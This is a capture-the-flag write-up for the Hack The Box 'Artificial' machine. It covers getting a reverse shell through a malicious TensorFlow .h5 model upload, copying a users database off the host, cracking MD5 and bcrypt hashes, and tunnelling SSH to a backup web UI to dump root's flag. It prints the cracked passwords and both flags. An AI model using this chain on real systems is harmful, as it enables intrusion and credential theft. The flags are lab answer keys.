Get reverse shell using malicious .h5 model. Crack the password of user gael, which we find inside users.db. Crack the password that we find inside /var/backups/backrest_backup.tar.gz, and use it to dump the content of /root/root.txt, using the local backrest webserver.
we start with nmap, using this command:
nmap -p- -sCV --min-rate=10000 $target

As we can see, there is port 22 for ssh and port 80 for the webserver, which is based on ngnix.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)4181/tcp filtered macbak
Let’s add artificial.htb to our /etc/hosts, this line:
10.10.11.74 artificial.htb
As we can see, we can upload models and then execute them on our dashboard.
I googled for this, and found this https://github.com/Splinter0/tensorflow-rce, we can achieve RCE using creation of malicious .h5 model files.
So, first let’s download DockerFile and requirements.txt from the webserver.
We build the Docker Image, -t is to supply the image name, and the . is where the DockerFile is located:
docker build -t artificial-docker .
And then spawn a shell inside container, --rm is to remove all the staff after the container dies, --it to spawn shell, -v is to specify mount, our $PWD to /app, -w is to specify working directory on the shell:
docker run --rm -it -v "$PWD":/app -w /app artificial-docker
Next, we want to install packages:
pip install -r requirements.txt
And now we can curl the exploit.py, and make our model after changing it to point to our listen port, and ip.
curl https://raw.githubusercontent.com/Splinter0/tensorflow-rce/refs/heads/main/exploit.py -o exploit.py

and execute:
python3 exploit.py

Now, we just need to upload exploit.h5 and click the View Predictions.

Of course we paste the regular commands:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
stty rows 38 columns 116
We can see there is another user which is called gael, however we don’t have permission to read its files.
inside the folder /app/instance, we can see there is users.db file, let’s try to analyze this file in our local machine.
So, in the remote we’ll execute:
python3 -m http.server 8081
and in the local:
curl http://$target:8081/users.db -o users.db
Using the file command we can see we have sqlite3 filetype.

next, we’ll execute sqlite3 users.db, and then inside the db:
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|fakename|fake@email.com|aea97f1a1bb96221efec9e71d76766ab
7|fakenmae|r32r@email.com|bfde39ad9014a45608030ff7081f94cb
8|admin|admin@test.htb|cc03e747a6afbbcbf8be7668acfebee5
9|dsg|dsg@local.net|2c103f2c4ed1e59c0b4e2e01821770fa
10|test|test@test.com|5a105e8b9d40e1329780d62ea2265d8a
11|dev|dev@gmail.com|227edf7c86c02a44d17eec9aa5b30cd1
12|tets|test@gmail.com|81dc9bdb52d04dc20036dbd8313ed055
13|' UNION SELECT username FROM users--|hola@gmail.com|2347b7a569cdefeab6d4cade96cbf38e
14|1|1@1|c4ca4238a0b923820dcc509a6f75849b
15|user|user@gmail.com|ee11cbb19052e40b07aac0ca060c23ee
Using pragma table_info("table_name") we can get the column names:
sqlite> pragma table_info("user");
0|id|INTEGER|1||1
1|username|VARCHAR(100)|1||0
2|email|VARCHAR(120)|1||0
3|password|VARCHAR(200)|1||0
We want to output all into users.txt, so we’ll execute:
sqlite> .output users.txt
sqlite> select * from user;
sqlite> .output stdout
We can check if it really worked, using this:
sqlite> .shell cat users.txt
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|fakename|fake@email.com|aea97f1a1bb96221efec9e71d76766ab
7|fakenmae|r32r@email.com|bfde39ad9014a45608030ff7081f94cb
8|admin|admin@test.htb|cc03e747a6afbbcbf8be7668acfebee5
9|dsg|dsg@local.net|2c103f2c4ed1e59c0b4e2e01821770fa
10|test|test@test.com|5a105e8b9d40e1329780d62ea2265d8a
11|dev|dev@gmail.com|227edf7c86c02a44d17eec9aa5b30cd1
12|tets|test@gmail.com|81dc9bdb52d04dc20036dbd8313ed055
13|' UNION SELECT username FROM users--|hola@gmail.com|2347b7a569cdefeab6d4cade96cbf38e
14|1|1@1|c4ca4238a0b923820dcc509a6f75849b
15|user|user@gmail.com|ee11cbb19052e40b07aac0ca060c23ee
To quit we just type .quit.
Now, we use cut to get only hashes:
cut -d '|' -f4 users.txt > hashes.txt
Let’s crack the passwords using https://crackstation.net/

We got the password of gael, which is mattp005numbertwo.
Let’s connect using ssh gael@$target and get the user flag:
gael@artificial:~$ cat user.txt
5c77a6560779530ac10be603b87fa276
First we starts with sudo -l to view if we can do some operations as root, we get this:
Sorry, user gael may not run sudo on artificial.
Next, we’ll check our group, maybe there is something special, we can use id to check:
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
As we can see, we are member of the group sysadm, interesting, let’s check if there are some files specific owned by this group.
gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
We have this backup file /var/backups/backrest_backup.tar.gz, let’s move it to our folder and extract it using tar. -x for specify that we want to extract, -f for the filename and -v for verbose:
gael@artificial:~$ cp /var/backups/backrest_backup.tar.gz ~/.
gael@artificial:~$ tar -xvf ~/backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh
First, we can see there is backrest/.config/backrest/config.json, which contains:
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
The bcrypt here is base64 encoded, let’s decode it:
gael@artificial:~/backrest$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
and now we can crack it using john (this is already after crack), the password is !@#$%^:
┌──(agonen㉿kali)-[~/htb/Artificial]
└─$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > hashes.txt
┌──(agonen㉿kali)-[~/htb/Artificial]
└─$ john hashes.txt --show
?:!@#$%^
1 password hash cracked, 0 left
using file * we can see there are 2 executable files:
gael@artificial:~/backrest$ file *
backrest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=jjQjlBYIC1gVP2iDvuQ_/D0vd8lNWkJmE_0BL7M3f/GV_C1mc-OIE3wQfO7F20/9w78k45S6pkbyP7rg0U7, stripped
install.sh: Bourne-Again shell script, ASCII text executable
jwt-secret: data
oplog.sqlite: SQLite 3.x database, user version 4, last written using SQLite version 3046000
oplog.sqlite.lock: empty
oplog.sqlite-shm: data
oplog.sqlite-wal: empty
processlogs: directory
restic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=jSK7xPRsY9E7Q29OIP76/HSaVnfetedLgEUqaU0UW/xKPSAuk-oVdNAKJVum1a/eKE0tD3fOYCv4dW-3NwC, stripped
tasklogs: directory
We try to execute the backrest file.
as we can see, it trying to start webserver at 127.0.0.1:9898, but fails because it’s already in use:
2025-10-20T11:38:28.942Z INFO starting web server 127.0.0.1:9898
2025-10-20T11:38:28.942Z ERROR error starting server {"error": "listen tcp 127.0.0.1:9898: bind: address already in use"}

We can verify it using ss, this command, -l is for listening sockets, and -t is for tcp only:
gael@artificial:~/backrest$ ss -tl | grep 9898
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
Okay, let’s connect again from our local machine using ssh, but time we’ll tunnel the port 8085 of our host machine, to 127.0.0.1:9898 on the remote machine, from the doc: -L local_socket:host:hostport. remember that the password of gael is mattp005numbertwo.
ssh gael@$target -L 8085:127.0.0.1:9898
Now, we can go on firefox to: 127.0.0.1:8085, and to access the webserver we tunneled via the ssh connection.
As we saw earlier in the config.json, the username is backrest_root and the password we cracked !@#$%^

Now, the next stages will be as follow:
Under the tab Repositories, we can create our own repository

/rootNext, we want to execute backup /root:

Using the command snapshosts we can find our snapshot, in our case ca239f6f

/root/root.txt from the backup with the snapshot ca239f6fWe’ll execute dump ca239f6f /root/root.txt to dump /root/root.txt, and then we get the root flag 97d48979d6d805fa3acba78b3e612e94

User Flag:5c77a6560779530ac10be603b87fa276
Root Flag:97d48979d6d805fa3acba78b3e612e94